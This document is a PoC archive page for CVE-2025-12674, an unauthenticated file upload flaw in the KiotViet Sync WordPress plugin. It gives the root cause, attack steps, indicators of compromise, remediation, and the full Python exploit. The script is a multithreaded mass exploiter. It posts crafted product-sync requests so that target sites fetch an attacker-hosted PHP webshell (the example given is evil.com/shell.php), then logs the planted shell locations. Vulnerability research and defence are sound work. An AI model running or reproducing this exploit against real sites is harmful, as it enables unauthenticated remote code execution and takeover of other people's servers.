PoC Archive PoC Archive
Critical CVE-2025-12674 unpatched

KiotViet Sync Unauthenticated Arbitrary File Upload (CVE-2025-12674)

by Nxploited (Khaled Alenazi) · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-12674
Category
web
Affected product
KiotViet Sync (WordPress plugin)
Affected versions
<= 1.8.5
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherNxploited (Khaled Alenazi)
CVE / AdvisoryCVE-2025-12674
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusWeaponized
Tagswordpress, kiotviet-sync, arbitrary-file-upload, unauthenticated, rce, rest-api, webshell, python
RelatedN/A

Affected Target

FieldValue
Software / SystemKiotViet Sync (WordPress plugin)
Versions Affected<= 1.8.5
Language / PlatformPython 3 (PoC scanner/exploiter), PHP (target plugin), targets WordPress installations
Authentication RequiredNo
Network Access RequiredYes

Summary

KiotViet Sync is a WordPress plugin that synchronizes products between the KiotViet retail/POS platform and a WooCommerce store via a custom REST route. Its create_media() function, invoked when syncing a product’s image, accepts a remote raw_image_id URL and downloads it into wp-content/uploads/ without validating the file extension or content type of the fetched resource, permitting an unauthenticated attacker to plant an arbitrary file (including a PHP webshell) on the server. The included PoC (CVE-2025-12674.py) exploits the unauthenticated wp-json/admin/v1/query REST endpoint by submitting a crafted “create product” request whose image field points at an attacker-hosted PHP shell, causing the plugin to fetch and store it under the monthly uploads directory.


Vulnerability Details

Root Cause

The plugin exposes a custom REST endpoint, wp-json/admin/v1/query, that accepts a generic “table”/“action” payload without authentication or capability checks. When table is kiotviet_sync_products and action is create, the plugin’s create_media() function downloads whatever URL is supplied in raw_image_id and saves it into the WordPress media/uploads directory with no validation that the downloaded content is actually an image:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
data = {
    "client_key": "dasdasd23423JFHDJKFHJD",
    "action": "create",
    "table": "kiotviet_sync_products",
    "ref_id": "0",
    "fields": {
        "products": [{
            "name": "NxShell",
            "type": "simple",
            "regular_price": "199.99",
            "raw_image_id": shell_url
        }]
    }
}

Because there is no server-side check on the extension/MIME type of the file referenced by raw_image_id, an attacker-hosted .php file is downloaded and written directly into wp-content/uploads/<year>/<month>/, a path where the web server executes PHP, resulting in remote code execution once the file is requested.

Attack Vector

  1. Attacker hosts a PHP webshell (e.g. shell.php) at a URL they control.
  2. The PoC script sends POST /wp-json/admin/v1/query to the target WordPress site with a JSON body simulating a KiotViet product-creation sync, setting the product’s raw_image_id field to the attacker’s shell URL.
  3. The vulnerable create_media() function on the target fetches the URL and stores it under wp-content/uploads/<current-year>/<current-month>/ without validating that it is an image.
  4. The plugin responds with a success message ({"message":"OK"} / {"message":"Done!"}), which the script detects to confirm the upload succeeded.
  5. Because the plugin does not return the generated filename in the response, the script records the (predictable) monthly uploads directory to shells.txt; the attacker then brute-forces/enumerates the directory listing or filename pattern to locate and invoke the planted shell for command execution.

Impact

Unauthenticated remote code execution on any WordPress site with a vulnerable KiotViet Sync version, via arbitrary file planting into a publicly reachable, PHP-executing uploads directory.


Environment / Lab Setup

Target:   WordPress with KiotViet Sync plugin <= 1.8.5 installed and activated
Attacker: Python 3.x with requests, rich
          A publicly reachable HTTP host serving the PHP shell to be uploaded

Proof of Concept

PoC Script

See CVE-2025-12674.py in this folder.

1
2
3
4
pip install -r requirements.txt
python3 CVE-2025-12674.py
#
#

Detection & Indicators of Compromise

POST /wp-json/admin/v1/query HTTP/1.1
Content-Type: application/json

{"client_key":"dasdasd23423JFHDJKFHJD","action":"create","table":"kiotviet_sync_products", ... "raw_image_id":"http://<external-host>/shell.php"}

Signs of compromise:

  • Unexpected .php files under wp-content/uploads/<year>/<month>/ that were not uploaded via the normal Media Library UI.
  • POST requests to wp-json/admin/v1/query with table=kiotviet_sync_products originating from non-KiotViet infrastructure IPs.
  • Outbound requests from the WordPress server to unfamiliar hosts immediately followed by new files appearing in the uploads directory.
  • Requests to newly created files under the uploads directory with command-execution-style query parameters shortly after the upload.

Remediation

ActionDetail
Primary fixUpgrade KiotViet Sync beyond 1.8.5 once a patched release enforces file-type/MIME validation in create_media() and adds authentication to the wp-json/admin/v1/query endpoint.
Interim mitigationDeactivate the plugin until patched; block direct PHP execution in wp-content/uploads/ via web server configuration; add a WAF rule blocking unauthenticated table=kiotviet_sync_products requests to wp-json/admin/v1/query.

References


Notes

Mirrored from https://github.com/Nxploited/CVE-2025-12674 on 2026-07-06. Templated Nxploited-style wrapper (banner, progress UI, author branding) around genuinely specific exploit logic matching the KiotViet Sync file-upload vulnerability (wp-json/admin/v1/query with raw_image_id pointing at an attacker shell).

CVE-2025-12674.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#!/usr/bin/env python3
# Author: Nxploited (Khaled Alenazi) | https://github.com/Nxploited | https://t.me/KNxploited

import threading
import requests
import time
import os
import sys
import re
from urllib.parse import urlparse
from datetime import datetime
from rich.console import Console
from rich.text import Text
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, BarColumn, TextColumn, TimeElapsedColumn
from rich.align import Align
from rich.theme import Theme
from rich import box
from rich.table import Table

theme = Theme({
    "banner": "bold cyan",
    "github": "bold magenta",
    "telegram": "bold green",
    "nxsplit": "bold white on blue",
    "mainbox": "bold white on black",
    "author": "bold yellow",
    "usage": "bold green",
    "info": "bold magenta",
    "success": "bold white on green",
    "error": "bright_red",
    "warning": "bold white on red",
    "progress": "bold magenta",
})
console = Console(theme=theme)

os.environ['NO_PROXY'] = '*'

DEFAULT_THREADS = 10
DEFAULT_TIMEOUT = 16
OUTPUT_SHELLS_FILE = "shells.txt"
BACKUP_SUFFIX_FMT = "%Y%m%d_%H%M%S"
USER_AGENT = "KiotVietEx/1.0 (+https://github.com/Nxploited) Mozilla/5.0"

write_lock = threading.Lock()
counter_lock = threading.Lock()
counters = {"total": 0, "success": 0, "failed": 0}

def print_custom_banner():
    banner_art = (
        ".  .         .       .         . \n"
        "|\\ |         |     o |         | \n"
        "| \\| . , ;-. | ,-. . |-  ,-. ,-| \n"
        "|  |  X  | | | | | | |   |-' | | \n"
        "'  ' ' ` |-' ' `-' ' `-' `-' `-' \n"
        "         '                       "
    )
    github_account = "GitHub: https://github.com/Nxploited"
    telegram_account = "Telegram: https://t.me/KNxploited"
    nxploited_tag = Text("Nxploited KiotViet Exploit", style="nxsplit")
    body = Align.center(
        "\n".join([
            "",
            banner_art,
            "",
            github_account,
            telegram_account,
            ""
        ])
    )
    console.print(
        Panel(body, title=nxploited_tag, title_align='center',
              box=box.DOUBLE, border_style="mainbox", padding=(1,12), expand=True)
    )

def show_usage_box():
    usage = (
        "[usage]Usage:[/]\n"
        "1. Put target hosts in [bold]list.txt[/] (one host per line, e.g. example.com).\n"
        "2. Run: [bold cyan]python CVE-2025-12674.py[/]\n"
        "3. When prompted provide:\n"
        "   - Thread count (default 10)\n"
        "   - Remote shell URL (direct link to your shell, e.g. http://evil.com/shell.php)\n"
        "4. Successful shell uploads will be saved to [bold]shells.txt[/].\n"
        "5. For support contact: [bold magenta]@KNxploited[/] (Telegram)"
    )
    console.print(Panel(usage, box=box.ROUNDED, style="usage", border_style="green"))

def backup_output_file(path):
    if os.path.exists(path):
        ts = datetime.now().strftime(BACKUP_SUFFIX_FMT)
        bak_name = f"{path}.{ts}.bak"
        os.replace(path, bak_name)
        console.print(f"[info]Existing {path} backed up to {bak_name}[/info]")

def safe_write_shell_path(shell_path):
    with write_lock:
        with open(OUTPUT_SHELLS_FILE, "a") as f:
            f.write(f"{shell_path}\n")

def is_valid_url(u):
    try:
        p = urlparse(u)
        return p.scheme in ("http", "https") and bool(p.netloc)
    except Exception:
        return False

def normalize_target_host(host):
    host = host.strip()
    if host.lower().startswith(("http://", "https://")):
        p = urlparse(host)
        base = f"{p.scheme}://{p.netloc}"
        return base.rstrip('/')
    return f"http://{host.rstrip('/')}"

def chunk_targets(targets, n):
    if n <= 1:
        return [targets]
    chunks = [[] for _ in range(n)]
    for idx, val in enumerate(targets):
        chunks[idx % n].append(val)
    return chunks

def kiotviet_exploit(target, shell_url, timeout=DEFAULT_TIMEOUT):
    url = f"{target}/wp-json/admin/v1/query"
    headers = {
        "Content-Type": "application/json",
        "User-Agent": USER_AGENT
    }
    data = {
        "client_key": "dasdasd23423JFHDJKFHJD",
        "action": "create",
        "table": "kiotviet_sync_products",
        "ref_id": "0",
        "fields": {
            "products": [{
                "name": "NxShell",
                "type": "simple",
                "regular_price": "199.99",
                "raw_image_id": shell_url
            }]
        }
    }
    try:
        r = requests.post(url, json=data, headers=headers, timeout=timeout, verify=False)
        with counter_lock:
            counters["total"] += 1
        if r.status_code == 200 and (
            "{\"message\":\"OK\"}" in r.text or "\"message\":\"Done!\"" in r.text or "message\":\"OK" in r.text
        ):
            with counter_lock:
                counters["success"] += 1
            shell_dir = f"{target}/wp-content/uploads/{datetime.now().year}/{datetime.now().month:02}/"
            safe_write_shell_path(shell_dir)
            console.print(Panel(
                f"[success]✔ Shell uploaded![/success]\n"
                f"Check here:\n[bold]{shell_dir}[/bold]\n",
                box=box.DOUBLE, border_style="bright_green"
            ))
            return True, shell_dir
        else:
            with counter_lock:
                counters["failed"] += 1
            return False, r.text
    except Exception as e:
        with counter_lock:
            counters["failed"] += 1
        return False, str(e)

def worker_thread(thread_id, targets, shell_url, timeout, progress_task, progress):
    for t in targets:
        console.print(Panel(f"{t}\n[bold cyan]Trying KiotViet exploit...[/bold cyan]", box=box.ROUNDED, style="info"))
        success, info = kiotviet_exploit(t, shell_url, timeout)
        if not success:
            console.print(Panel(
                f"[error]Shell upload failed or not confirmed at {t}\nResponse/Error:\n{info}[/error]",
                box=box.ROUNDED, style="error"
            ))
        try:
            if progress and progress_task is not None:
                progress.update(progress_task, advance=1)
        except Exception:
            pass

def main():
    try:
        print_custom_banner()
        show_usage_box()
        console.print(Panel("[bold magenta]Press ENTER to continue to inputs...[/bold magenta]", box=box.SQUARE))
        input()
        list_file = console.input("[bold yellow]Enter targets file name (default: list.txt): [/]").strip() or "list.txt"
        thread_input = console.input(f"[bold yellow]Enter number of threads (default: {DEFAULT_THREADS}): [/]").strip()
        threads = DEFAULT_THREADS
        if thread_input.isdigit() and int(thread_input) > 0:
            threads = int(thread_input)
        shell_url = console.input("[bold yellow]Enter REMOTE SHELL URL (direct link): [/]").strip()
        if not is_valid_url(shell_url):
            console.print("[error]Invalid shell URL. Exiting.[/error]")
            sys.exit(1)

        if not os.path.exists(list_file):
            console.print(f"[error]Targets file '{list_file}' not found. Exiting.[/error]")
            sys.exit(1)

        backup_output_file(OUTPUT_SHELLS_FILE)
        with open(list_file, "r") as f:
            raw_targets = [line.strip() for line in f if line.strip()]
        targets = [normalize_target_host(x) for x in raw_targets]
        if not targets:
            console.print("[error]No targets found in the list. Exiting.[/error]")
            sys.exit(1)

        console.print(Panel(f"Loaded [bold]{len(targets)}[/] targets. Threads: [bold]{threads}[/].", box=box.ROUNDED, style="info"))
        chunks = chunk_targets(targets, threads)

        with Progress(
            SpinnerColumn(),
            TextColumn("[progress.description]{task.description}"),
            BarColumn(),
            TextColumn("{task.completed}/{task.total}"),
            TimeElapsedColumn(),
            console=console,
            transient=True
        ) as progress:
            total = len(targets)
            task = progress.add_task("[bold cyan]Exploiting KiotViet targets...[/]", total=total)
            thread_list = []
            for i in range(len(chunks)):
                if not chunks[i]:
                    continue
                th = threading.Thread(target=worker_thread, args=(i, chunks[i], shell_url, DEFAULT_TIMEOUT, task, progress))
                th.daemon = True
                th.start()
                thread_list.append(th)
            for t in thread_list:
                t.join()
        table = Table(title="Summary", box=box.SIMPLE)
        table.add_column("Metric", style="bold")
        table.add_column("Value", justify="right")
        table.add_row("Total attempts", str(counters["total"]))
        table.add_row("Successful shells", str(counters["success"]))
        table.add_row("Failed attempts", str(counters["failed"]))
        console.print(table)
        console.print(Panel(f"Uploaded shells folders saved in [bold green]{OUTPUT_SHELLS_FILE}[/bold green]", box=box.DOUBLE, style="info"))
    except KeyboardInterrupt:
        console.print("\n[error]Interrupted by user. Exiting gracefully...[/error]")
    except Exception as e:
        console.print(Panel(f"[error]Unexpected error:[/] {e}", box=box.ROUNDED, style="error"))
    finally:
        console.print("\n[info]Done. Press ENTER to exit...[/info]")
        try:
            input()
        except Exception:
            pass

if __name__ == "__main__":
    main()